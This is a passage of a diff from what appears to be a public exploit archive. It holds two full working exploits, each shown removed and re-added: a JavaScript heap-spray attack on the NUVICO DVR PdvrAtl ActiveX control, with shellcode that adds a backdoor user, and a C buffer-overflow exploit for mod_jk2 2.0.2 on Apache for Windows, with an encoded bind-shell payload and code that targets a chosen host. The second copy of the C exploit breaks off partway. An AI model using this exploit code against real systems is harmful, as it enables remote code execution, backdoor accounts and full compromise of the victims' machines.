-shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
-bigblock  = unescape("%u9090%u9090");
-headersize = 20;
-slackspace = headersize+shellcode.length;
-while (bigblock.length<slackspace) bigblock+=bigblock;
-fillblock = bigblock.substring(0, slackspace);
-block = bigblock.substring(0, bigblock.length-slackspace);
-while(block.length+slackspace<0x40000) block = block+block+fillblock;
-memory = new Array();
-for (i=0;i<500;i++){memory[i] = block+shellcode}
-var suntzu = new ActiveXObject("PdvrAtl.PdvrOcx.1");//D64CF6D4-45DF-4D8F-9F14-E65FADF2777C
-wszFormat="";
-for (i=0;i<=1666;i++){wszFormat=wszFormat + unescape("%0d")}
-nTime=1;
-suntzu.TimeSpanFormat(nTime ,wszFormat);
-</script>
-</html>
-
-# milw0rm.com [2008-01-13]
+<!--
+NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) remote heap
+overflow exploit (IE7/XP SP2)
+
+check a camera demo here: http://www.2mcctv.com/2mdemo.php
+codebase: http://www.dvrstation.com/pdvratl.php?vendor=0
+
+rgod /////////////////////////////// http://retrogod.altervista.org
+-->
+<html>
+<script language="javascript">
+//add su one, user: sun pass: tzu
+shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
+bigblock  = unescape("%u9090%u9090");
+headersize = 20;
+slackspace = headersize+shellcode.length;
+while (bigblock.length<slackspace) bigblock+=bigblock;
+fillblock = bigblock.substring(0, slackspace);
+block = bigblock.substring(0, bigblock.length-slackspace);
+while(block.length+slackspace<0x40000) block = block+block+fillblock;
+memory = new Array();
+for (i=0;i<500;i++){memory[i] = block+shellcode}
+var suntzu = new ActiveXObject("PdvrAtl.PdvrOcx.1");//D64CF6D4-45DF-4D8F-9F14-E65FADF2777C
+wszFormat="";
+for (i=0;i<=1666;i++){wszFormat=wszFormat + unescape("%0d")}
+nTime=1;
+suntzu.TimeSpanFormat(nTime ,wszFormat);
+</script>
+</html>
+
+# milw0rm.com [2008-01-13]
diff --git a/platforms/windows/remote/5330.c b/platforms/windows/remote/5330.c
index 011c05885..cdc468c58 100755
--- a/platforms/windows/remote/5330.c
+++ b/platforms/windows/remote/5330.c
@@ -1,562 +1,562 @@
-/* Dreatica-FXP crew
-* 
-* ----------------------------------------
-* Target         : mod_jk2 v2.0.2 for Apache 2.0 Win32  
-* Found by       : IOActive Security Advisory
-* ----------------------------------------
-* Exploit        : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
-* Exploit date   : 01.03.2008 - 02.03.2008
-* Exploit writer : Heretic2 (heretic2x@gmail.com)
-* OS             : Windows ALL 
-* Crew           : Dreatica-FXP
-* ----------------------------------------
-* Info           : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
-*                  The only problem here is that the mod_jk2 forstly downcase all letter in Host
-*                  header request, Metasploit v3 have solutions for this case:
-*                     1. Use non-upper encoder
-*                     2. Use non-alpha encoder
-*                  i used the first variant here. and all is working good.
-* ----------------------------------------
-* Thanks to:
-*       1. IOActive Security Advisory  (                                                        )
-*       2. The Metasploit project      ( http://metasploit.com                                  ) 
-*       3. Dreatica-FXP crew           (                                                        )
-* ----------------------------------------
-* This was written for educational purpose only. Use it at your own risk. Author will be not be 
-* responsible for any damage, caused by that code.
-************************************************************************************
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <winsock2.h>
-#include <ctime>
-#pragma comment(lib,"ws2_32")
-
-
-void usage(char * s);
-void logo();
-void end_logo();
-void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
-void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
-int get_version(char * remotehost, int port, int * itarget);
-int validate_args(char * remotehost, int port, int sh, int itarget);
-int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
-SOCKET do_connect (char *remotehost, int port);
-
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring);
-char	*optarg;		// global argument pointer
-int		optind = 0, opterr; 	// global argv index
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-
-
-struct _target{
-	const char *t ;
-	unsigned long ret ;
-} targets[]=
-{	
-	{"mod_jk2/2.0.2 for Apache 2.0.48",  0x100115c3 },// pop,pop,ret	
-	{NULL,                               0x00000000 }
-};
-
-
-
-struct {
-	const char * name;
-	int length;
-	char * shellcode;	
-}shellcodes[]={ 	
-	{"Bindshell, port 9999", 461, 		
-	/*
-	* windows/shell_bind_tcp - 461 bytes
-	* http://www.metasploit.com
-	* Encoder: x86/nonalpha
-	* EXITFUNC=seh, LPORT=9999
-	*/
-		"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6c\x8b\xd7\x3b"
-		"\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb\xf1\xeb"
-		"\x71\xe8\xe2\xff\xff\xff\x11\x2e\x0f\x36\x03\x2c\x32\x07\x27"
-		"\x06\x15\x30\x0f\x1a\x17\x38\x0b\x13\x2d\x2b\x15\x28\x15\x13"
-		"\x13\x04\x08\x27\x13\x2b\x15\x26\x11\x13\x24\x28\x28\x28\x28"
-		"\x28\x38\x28\x38\x28\x15\x13\x15\x28\x13\x0b\x24\x11\x2a\x26"
-		"\x13\x24\x28\x26\x13\x32\x32\x24\x2b\x27\x27\x26\x13\x02\x02"
-		"\x24\x26\x15\x11\x17\x15\x13\x18\x0e\x11\x2b\x22\x11\x37\x39"
-		"\x39\x01\x13\x09\x06\x37\x24\x29\x2a\x2a\x2a\x11\x2a\x2a\x26"
-		"\x2a\x13\x28\x11\x24\x17\x29\x13\x28\xfc\x7b\xeb\x7b\xe8\xf9"
-		"\xff\xff\xff\x60\x8b\x7b\x24\x24\x8b\x7b\x3c\x8b\x7c\x05\x7b"
-		"\x01\xef\x8b\x7b\x18\x8b\x5f\x20\x01\xeb\x7b\x8b\x34\x8b\x01"
-		"\xee\x31\xc0\x99\xac\x84\xc0\x7b\x07\xc1\xca\x0d\x01\xc2\xeb"
-		"\xf4\x3b\x7b\x24\x28\x7b\xe5\x8b\x5f\x24\x01\xeb\x7b\x8b\x0c"
-		"\x7b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x7b\x24\x1c\x7b\xc3"
-		"\x31\xdb\x7b\x8b\x7b\x30\x8b\x40\x0c\x8b\x7b\x1c\xad\x8b\x40"
-		"\x08\x5e\x7b\x8e\x7b\x0e\xec\x7b\xff\xd6\x7b\x7b\x7b\x7b\x33"
-		"\x32\x7b\x7b\x7b\x32\x5f\x7b\xff\xd0\x7b\xcb\xed\xfc\x3b\x7b"
-		"\xff\xd6\x5f\x89\xe5\x7b\x81\xed\x08\x02\x7b\x7b\x02\xff\xd0"
-		"\x7b\xd9\x09\xf5\xad\x7b\xff\xd6\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
-		"\x7b\x7b\xff\xd0\x7b\x7b\x27\x0f\x7b\x7b\x89\xe1\x95\x7b\xa4"
-		"\x1a\x7b\xc7\x7b\xff\xd6\x7b\x10\x7b\x7b\xff\xd0\x7b\xa4\xad"
-		"\x2e\xe9\x7b\xff\xd6\x7b\x7b\xff\xd0\x7b\xe5\x7b\x86\x7b\x7b"
-		"\xff\xd6\x7b\x7b\x7b\x7b\xff\xd0\x93\x7b\xe7\x7b\xc6\x7b\x7b"
-		"\xff\xd6\x7b\xff\xd0\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x89\xe5\x7b"
-		"\x7b\x7b\x29\xcc\x89\xe7\x7b\x7b\x89\xe2\x31\xc0\xf3\xaa\xfe"
-		"\x7b\x2d\xfe\x7b\x2c\x93\x8d\x7b\x38\xab\xab\xab\x7b\x7b\xfe"
-		"\xb3\x16\xff\x7b\x7b\xff\xd6\x5b\x7b\x7b\x7b\x7b\x7b\x7b\x01"
-		"\x7b\x7b\x7b\x7b\xff\xd0\x7b\xad\xd9\x05\xce\x7b\xff\xd6\x7b"
-		"\xff\xff\x37\xff\xd0\x8b\x7b\xfc\x83\xc4\x7b\xff\xd6\x7b\xff"
-		"\xd0\x7b\xf0\x8a\x04\x5f\x7b\xff\xd6\xff\xd0"
-	 },	  
-	{NULL , NULL }
-};
-
-
-
-
-
-
-
-
-int main(int argc, char **argv)
-{
-	char * remotehost=NULL;
-	char default_remotehost[]="127.0.0.1";	
-	char temp1[100], temp2[100];
-	int port, itarget, x, sh;
-	SOCKET s;
-	char c;	
-	int option_index=0;
-	logo();
-	WSADATA wsa;
-	WSAStartup(MAKEWORD(2,0), &wsa);
-	if(argc<2)
-	{
-		usage(argv[0]);		
-		return -1;
-	}
-
-	// set defaults
-	port=80;
-	itarget=-1;
-	sh=0;
-	// ------------	
-	
-	while((c = getopt(argc, argv, "h:p:"))!= EOF)
-	{
-		switch (c)
-		{
-			case 'h':
-				remotehost=optarg;
-				break; 				
-			case 'p':
-				sscanf(optarg, "%d", &port);
-				break;			
-			default:
-	            usage(argv[0]);
-				WSACleanup();
-			return -1;
-		}		 
-	}	
-	if(remotehost == NULL) remotehost=default_remotehost;
-	memset(temp1,0,sizeof(temp1));
-	memset(temp2,0,sizeof(temp2));
-	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
-	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
-	sprintf(temp2, "%d", port);
-	memset(temp1,0,sizeof(temp1));
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
-	printf(" #  Port    : %s%s# \n", temp2, temp1);
-	memset(temp1,0,sizeof(temp1));	
-	memset(temp2,0,sizeof(temp2));
-	sprintf(temp2, "%s", shellcodes[sh].name );
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
-	printf(" #  Payload : %s%s# \n", temp2, temp1);	
-
-
-	printf(" # ------------------------------------------------------------------- # \n");
-	fflush(stdout);
-	printf("   [+] Checking if server is online\n");
-	fflush(stdout);
-	s=do_connect(remotehost, port);   
-	if(s==-1)
-	{
-		printf("   [-] Server is OFFLINE\n");
-		end_logo();
-		return 0;
-	}
-	closesocket(s);
-	printf("   [+] Server is ONLINE\n");
-
-	x = get_version(remotehost, port, &itarget);
-	if(x<0)
-	{
-		printf("   [-] Cannot exploit due to errors\n");
-		WSACleanup();
-		end_logo();
-		return -1;		
-	}
-		
-		
-	unsigned char buf[10000];
-	unsigned int len;
-	memset(buf,0,sizeof(buf));
-	fflush(stdout);
-	make_buffer(buf, &len, itarget, sh);
-
-	printf("   [+] Attacking buffer constructed\n");
-
-	if(send_buffer(buf, len, remotehost,port)==-1)
-	{
-		printf("   [-] Cannot exploit server %s\n", remotehost);
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-
-	printf("   [+] Buffer sent\n");
-	printf("   [+] Connect to %s:%d\n", remotehost, 9999);
-		
-	end_logo();
-	WSACleanup();
-	return 0;
-}
-
-
-
-SOCKET do_connect (char *remotehost, int port)
-{
-	static struct hostent *host;
-	static struct sockaddr_in addr;
-	SOCKET s;	
-	host = gethostbyname(remotehost);
-	if (!host)
-	{
-		perror("   [-] gethostbyname() failed");
-		return -1;
-	}
-	addr.sin_addr = *(struct in_addr*)host->h_addr;
-
-	s = socket(PF_INET, SOCK_STREAM, 0);
-	if (s == -1)
-	{
-		closesocket(s);
-		perror("socket() failed");
-		return -1;
-	}
-	addr.sin_port = htons(port);
-	addr.sin_family = AF_INET;
-	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
-	{
-		closesocket(s);     
-		return -1;
-	}
-	return s;
-}
-
-
-
-int get_version(char * remotehost, int port, int * target)
-{
-	
-	char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];
-	int bytes,j,x;
-	SOCKET sock;
-
-	memset(bufmax,0,sizeof(bufmax));
-	memset(WebBanner,0,sizeof(WebBanner));
-	memset(Version,0,sizeof(Version));
-	memset(ModJK,0,sizeof(ModJK));
-	sock = do_connect(remotehost, port);
-
-	if (sock == -1) return -1;
-	send(sock, "GET /a.html HTTP/1.0\r\n\r\n",(int)strlen("GET /a.html HTTP/1.0\r\n\r\n"),0);
-	
-	if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
-	bufmax[sizeof(bufmax)-1]=0;
-
-	if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
-	if((lp2=strstr(lp,"\r\n"))==NULL) return -1;
-
-	strncpy(WebBanner, lp, lp2-lp);
-	if((lp=strstr(WebBanner,"Win32"))==NULL) 
-	{
-		printf("   [-] OS is not a Win32\n");
-		return -1;
-	}
-
-	if((lp=strstr(WebBanner,"Apache/"))==NULL)
-	{
-		printf("   [-] No Apache\n");
-		return -1;
-	}
-	if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
-	lp+=strlen("Apache/");
-	if((lp2=strstr(lp," "))==NULL) return -1;
-
-	strncpy(Version, lp, lp2-lp);
-
-	printf("   [+] Version of Apache is %s\n", Version);
-
-	x=0;
-	for(j=0; targets[j].t!=0;j++)
-	{
-		if(strstr(targets[j].t,Version)!=NULL)
-		{			
-			x=1;
-			break;
-		}
-	}
-	if(x==0)
-	{
-		printf("   [-] This version of Apache is UNSUPPORTED\n");
-		return -1;
-	}
-	printf("   [+] This version of Apache is SUPPORTED\n");
-
-	strncpy(WebBanner, lp, lp2-lp);
-
-	if((lp=strstr(WebBanner,"mod_jk2/"))==NULL) 
-	{
-		printf("   [-] No mod_jk2\n");
-		return -1;
-	}
-	if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);
-
-	strncpy(ModJK, lp, lp2-lp);
-
-	printf("   [+] mod_jk2 is %s\n", ModJK);
-	x=0;
-	for(j=0; targets[j].t!=0;j++)
-	{
-		if(strstr(targets[j].t,ModJK)!=NULL)
-		{
-			*target=j;
-			x=1;
-			break;
-		}
-	}
-	if(x==0)
-	{
-		printf("   [-] This version of mod_jk2 is UNSUPPORTED\n");
-		return -1;
-	}
-	printf("   [+] This version of mod_jk2 is SUPPORTED\n");
-	return 0;
-}
-
-
-void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
-{
-	memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
-	*fshlength = shellcodes[sh].length;	
-}
-
-void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
-{
-		// prepare shellcode
-	unsigned char fsh[10000];	
-	unsigned int fshlength;
-	memset(fsh, 0, sizeof(fsh));	
-	prepare_shellcode(fsh, &fshlength, sh);
-	// -----------------
-
-		// make buffer
-	unsigned char * cp=buf;
-
-		// begin of the HTTP request
-	memcpy(cp, "GET / HTTP/1.0\r\nHost: ", strlen("GET / HTTP/1.0\r\nHost: ") );		
-	cp+=strlen((char *)cp);
-	
-		// jff
-	*cp++='\x90';
-	*cp++='\x90';
-	*cp++='\x90';
-	*cp++='\x90';
-
-		// overflowing
-	memset(cp, '\x41', 5001);
-
-		// put the shellcode
-	memcpy(cp, fsh, fshlength);
-	cp+=1271;
-
-		// calculating backward jump
-	int jmp_bytes=0xffffffff - (1275);
-
-		// putting backward jump
-	*cp++ = '\xe9';	
-	*cp++ = (char)((jmp_bytes      ) & 0xff);
-	*cp++ = (char)((jmp_bytes >>  8) & 0xff);
-	*cp++ = (char)((jmp_bytes >> 16) & 0xff);
-	*cp++ = (char)((jmp_bytes >> 24) & 0xff);
-
-		// next SEH record and back jump
-	*cp++='\x90';
-	*cp++='\x90';
-	*cp++='\xeb';
-	*cp++='\xf7';
-
-		// replace SEH
-	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
-
-		// trigger exception
-	cp+=3000;			
-
-		// copy the last part of the request
-	memcpy(cp, "\r\n\r\n", strlen("\r\n\r\n") );		
-	cp+=strlen((char *)cp);
-
-}
-
-
-
-int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
-{	
-	SOCKET sock;
-
-	sock = do_connect(remotehost, port);
-	
-	if (sock<0) return -1;
-	if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;
-	
-	closesocket(sock);
-	return 1;
-}
-
-
-
-
-
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring)
-{
-	static char *next = NULL;
-	if (optind == 0)
-		next = NULL;
-
-	optarg = NULL;
-
-	if (next == NULL || *next == '\0')
-	{
-		if (optind == 0)
-			optind++;
-
-		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
-		{
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		if (strcmp(argv[optind], "--") == 0)
-		{
-			optind++;
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		next = argv[optind];
-		next++;		// skip past -
-		optind++;
-	}
-
-	char c = *next++;
-	char *cp = strchr(optstring, c);
-
-	if (cp == NULL || c == ':')
-		return '?';
-
-	cp++;
-	if (*cp == ':')
-	{
-		if (*next != '\0')
-		{
-			optarg = next;
-			next = NULL;
-		}
-		else if (optind < argc)
-		{
-			optarg = argv[optind];
-			optind++;
-		}
-		else
-		{
-			return '?';
-		}
-	}
-
-	return c;
-}
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-
-
-
-
-
-void usage(char * s)
-{	
-	printf("\n");
-	printf("    Usage: %s -h <host> -p <port>\n", s);
-	printf("   -------------------------------------------------------------------\n");
-	printf("    Arguments:\n");
-	printf("      -h ........ host to attack\n");
-	printf("      -p ........ port to use\n");	
-	printf("\n");
-	printf("    Supported mod_jk versions:\n");
-	for(int j=0; targets[j].t!=0;j++)
-	{
-		printf("      %d. %s\n",j+1, targets[j].t);
-	}					
-	printf("\n");
-	printf("    Execution: %s\n\n", shellcodes[0].name);			
-	end_logo();	
-}
-
-void logo()
-{
-	printf("\n\n");
-	printf(" ####################################################################### \n");	
-	printf(" #     ____                 __  _                  ______  __    _____ #\n");
-	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
-	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
-	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
-	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
-	printf(" #                                 crew                                #\n");
-	printf(" ####################################################################### \n");	
-	printf(" #  Exploit : mod_jk2 v2.0.2 for Apache 2.0                            # \n");
-	printf(" #  Author  : Heretic2                                                 # \n");
-	printf(" #  THANKS  : IOActive and The Metasploit Project                      # \n");
-	printf(" #  Research: IOActive Security Advisory                               # \n");
-	printf(" #  Version : 1.0                                                      # \n");
-	printf(" #  System  : Windows ALL                                              # \n");
-	printf(" #  Date    : 01.03.2008 - 02.03.2008                                  # \n");
-	printf(" # ------------------------------------------------------------------- # \n");
-}
-
-void end_logo()
-{
-	printf(" # ------------------------------------------------------------------- # \n");
-	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
-	printf(" ####################################################################### \n\n");
-}
-
-// milw0rm.com [2008-03-31]
+/* Dreatica-FXP crew
+* 
+* ----------------------------------------
+* Target         : mod_jk2 v2.0.2 for Apache 2.0 Win32  
+* Found by       : IOActive Security Advisory
+* ----------------------------------------
+* Exploit        : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
+* Exploit date   : 01.03.2008 - 02.03.2008
+* Exploit writer : Heretic2 (heretic2x@gmail.com)
+* OS             : Windows ALL 
+* Crew           : Dreatica-FXP
+* ----------------------------------------
+* Info           : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
+*                  The only problem here is that the mod_jk2 forstly downcase all letter in Host
+*                  header request, Metasploit v3 have solutions for this case:
+*                     1. Use non-upper encoder
+*                     2. Use non-alpha encoder
+*                  i used the first variant here. and all is working good.
+* ----------------------------------------
+* Thanks to:
+*       1. IOActive Security Advisory  (                                                        )
+*       2. The Metasploit project      ( http://metasploit.com                                  ) 
+*       3. Dreatica-FXP crew           (                                                        )
+* ----------------------------------------
+* This was written for educational purpose only. Use it at your own risk. Author will be not be 
+* responsible for any damage, caused by that code.
+************************************************************************************
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+#include <ctime>
+#pragma comment(lib,"ws2_32")
+
+
+void usage(char * s);
+void logo();
+void end_logo();
+void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
+void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
+int get_version(char * remotehost, int port, int * itarget);
+int validate_args(char * remotehost, int port, int sh, int itarget);
+int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
+SOCKET do_connect (char *remotehost, int port);
+
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring);
+char	*optarg;		// global argument pointer
+int		optind = 0, opterr; 	// global argv index
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+
+
+struct _target{
+	const char *t ;
+	unsigned long ret ;
+} targets[]=
+{	
+	{"mod_jk2/2.0.2 for Apache 2.0.48",  0x100115c3 },// pop,pop,ret	
+	{NULL,                               0x00000000 }
+};
+
+
+
+struct {
+	const char * name;
+	int length;
+	char * shellcode;	
+}shellcodes[]={ 	
+	{"Bindshell, port 9999", 461, 		
+	/*
+	* windows/shell_bind_tcp - 461 bytes
+	* http://www.metasploit.com
+	* Encoder: x86/nonalpha
+	* EXITFUNC=seh, LPORT=9999
+	*/
+		"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6c\x8b\xd7\x3b"
+		"\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb\xf1\xeb"
+		"\x71\xe8\xe2\xff\xff\xff\x11\x2e\x0f\x36\x03\x2c\x32\x07\x27"
+		"\x06\x15\x30\x0f\x1a\x17\x38\x0b\x13\x2d\x2b\x15\x28\x15\x13"
+		"\x13\x04\x08\x27\x13\x2b\x15\x26\x11\x13\x24\x28\x28\x28\x28"
+		"\x28\x38\x28\x38\x28\x15\x13\x15\x28\x13\x0b\x24\x11\x2a\x26"
+		"\x13\x24\x28\x26\x13\x32\x32\x24\x2b\x27\x27\x26\x13\x02\x02"
+		"\x24\x26\x15\x11\x17\x15\x13\x18\x0e\x11\x2b\x22\x11\x37\x39"
+		"\x39\x01\x13\x09\x06\x37\x24\x29\x2a\x2a\x2a\x11\x2a\x2a\x26"
+		"\x2a\x13\x28\x11\x24\x17\x29\x13\x28\xfc\x7b\xeb\x7b\xe8\xf9"
+		"\xff\xff\xff\x60\x8b\x7b\x24\x24\x8b\x7b\x3c\x8b\x7c\x05\x7b"
+		"\x01\xef\x8b\x7b\x18\x8b\x5f\x20\x01\xeb\x7b\x8b\x34\x8b\x01"
+		"\xee\x31\xc0\x99\xac\x84\xc0\x7b\x07\xc1\xca\x0d\x01\xc2\xeb"
+		"\xf4\x3b\x7b\x24\x28\x7b\xe5\x8b\x5f\x24\x01\xeb\x7b\x8b\x0c"
+		"\x7b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x7b\x24\x1c\x7b\xc3"
+		"\x31\xdb\x7b\x8b\x7b\x30\x8b\x40\x0c\x8b\x7b\x1c\xad\x8b\x40"
+		"\x08\x5e\x7b\x8e\x7b\x0e\xec\x7b\xff\xd6\x7b\x7b\x7b\x7b\x33"
+		"\x32\x7b\x7b\x7b\x32\x5f\x7b\xff\xd0\x7b\xcb\xed\xfc\x3b\x7b"
+		"\xff\xd6\x5f\x89\xe5\x7b\x81\xed\x08\x02\x7b\x7b\x02\xff\xd0"
+		"\x7b\xd9\x09\xf5\xad\x7b\xff\xd6\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
+		"\x7b\x7b\xff\xd0\x7b\x7b\x27\x0f\x7b\x7b\x89\xe1\x95\x7b\xa4"
+		"\x1a\x7b\xc7\x7b\xff\xd6\x7b\x10\x7b\x7b\xff\xd0\x7b\xa4\xad"
+		"\x2e\xe9\x7b\xff\xd6\x7b\x7b\xff\xd0\x7b\xe5\x7b\x86\x7b\x7b"
+		"\xff\xd6\x7b\x7b\x7b\x7b\xff\xd0\x93\x7b\xe7\x7b\xc6\x7b\x7b"
+		"\xff\xd6\x7b\xff\xd0\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x89\xe5\x7b"
+		"\x7b\x7b\x29\xcc\x89\xe7\x7b\x7b\x89\xe2\x31\xc0\xf3\xaa\xfe"
+		"\x7b\x2d\xfe\x7b\x2c\x93\x8d\x7b\x38\xab\xab\xab\x7b\x7b\xfe"
+		"\xb3\x16\xff\x7b\x7b\xff\xd6\x5b\x7b\x7b\x7b\x7b\x7b\x7b\x01"
+		"\x7b\x7b\x7b\x7b\xff\xd0\x7b\xad\xd9\x05\xce\x7b\xff\xd6\x7b"
+		"\xff\xff\x37\xff\xd0\x8b\x7b\xfc\x83\xc4\x7b\xff\xd6\x7b\xff"
+		"\xd0\x7b\xf0\x8a\x04\x5f\x7b\xff\xd6\xff\xd0"
+	 },	  
+	{NULL , NULL }
+};
+
+
+
+
+
+
+
+
+int main(int argc, char **argv)
+{
+	char * remotehost=NULL;
+	char default_remotehost[]="127.0.0.1";	
+	char temp1[100], temp2[100];
+	int port, itarget, x, sh;
+	SOCKET s;
+	char c;	
+	int option_index=0;
+	logo();
+	WSADATA wsa;
